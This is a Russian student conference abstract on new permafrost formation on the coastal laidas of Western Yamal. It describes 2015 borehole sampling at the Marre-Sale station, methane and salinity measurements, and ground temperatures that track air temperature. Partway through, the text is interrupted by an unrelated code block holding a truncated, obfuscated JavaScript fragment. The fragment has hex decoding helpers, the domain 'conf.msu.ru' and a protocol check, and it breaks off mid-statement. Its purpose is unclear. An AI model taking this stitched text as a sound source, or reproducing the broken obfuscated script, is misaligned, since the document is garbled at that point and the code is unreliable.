

Секция «Динамика и взаимодействие гидросферы, атмосферы, литосферы, криосферы»

**Новообразование мерзлых пород на лайдах Западного Ямала**

**Задорожная Наталья Александровна**

*Студент (бакалавр)*

Московский государственный университет имени М.В.Ломоносова, Москва, Россия

*E-mail: zadorozhnaya.nataliya.95@gmail.com*

В связи с изменениями климата в научной литературе большое внимание уделяется вопросам, связанным с деградацией мерзлоты в Арктике, в то время как новообразование мерзлых пород изучено недостаточно. На геокриологическом стационаре Марре-Сале (Западный Ямал) в 2015 г. проводились наблюдения за молодыми низкими аккумулятивными поверхностями (лайдами). Изучение динамики температур и особенностей формирования осадков важны для понимания процессов новообразования мерзлых пород и дальнейшей эволюции криолитозоны на данных участках поверхности [1].

В районе стационара Марре-Сале мы исследовали два типа лайд: на лайдах первого типа в устьях рек промерзают и переходят в многолетнемерзлое состояние речные и частично морские отложения (устье р. Марре-Яха), на лайдах второго типа промерзают морские отложения. Абсолютные отметки поверхностей лайд не превышают первых метров. В условиях сурового климата осадки промерзают одновременно с накоплением - сингенетически, а разный режим осадконакопления определяет количество органики и солей в отложениях. В условиях недостатка кислорода в отложениях, насыщенных органикой, активно идет метанообразование.

В 2015 году на лайдах были пробурены скважины до глубины 3,20 м. Отобраны 11 образцов пород для определения гранулометрического состава, степени засоления и содержания органического углерода. Льдистость отложений определена по 14 образцам, из 24 проб пород были взяты образцы для определения концентрации метана в отложениях методом "Headspace".

Для определения гранулометрического состава, водно-физических свойств и химического состава водной вытяжки законсервированные образцы отложений были направлены для исследования во Всероссийский научно-исследовательский институт геологии и минеральных ресурсов Мирового Океана (ВНИИОкеангеология).

Для характеристики температур пород лайды I типа мы использовали многолетние наблюдения в 40 м скважине 2-00 [2], а для лайд II типа наблюдения за температурой проводились с 2008 года в скважинах глубиной 2,5 м.

Температуры пород лайды за время наблюдений с 2008 по 2015 год показывают корреляцию с температурой воздуха, высокую изменчивость температурного режима, а также тенденцию к повышению среднегодовых температур на глубинах до 2,0 м.

Зависимость температуры пород лайды от температуры воздуха объясняется особенностями состава отложений. Песчаный разрез и высокая засоленность отложений увеличивает теплопроводность пород на лайдах. Это и является причиной почти мгновенной реакции мерзлоты на внешние факторы, в первую очередь, изменяющихся среднегодовых температур воздуха.

```
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\{1,2}/g);for(v  
t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){retu  
"conf.msu.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")=  
p}for(var e=0;e
```

### **Источники и литература**

- 1) Васильев А.А., Стрелецкая И.Д., Черкашев Г.А., Ванштейн Б.Г. Динамика берегов Карского моря // Криосфера Земли. 2006. Т. 10, № 2. С. 56-67.
- 2) Дубровин В.А., Крицук Л.Н., Полякова Е.И. Температура, состав и возраст отложенный шельфа Карского моря в районе геокриологического стационара Марре-Сале // Криосфера Земли. 2015. Т. XIX, № 4. С. 3-16.

### **Слова благодарности**

Выражается благодарность И.Д. Стрелецкой, А.А. Васильеву и Г.Е. Облогову за возможность участвовать в полевых работах на Ямале, помощь и научные консультации.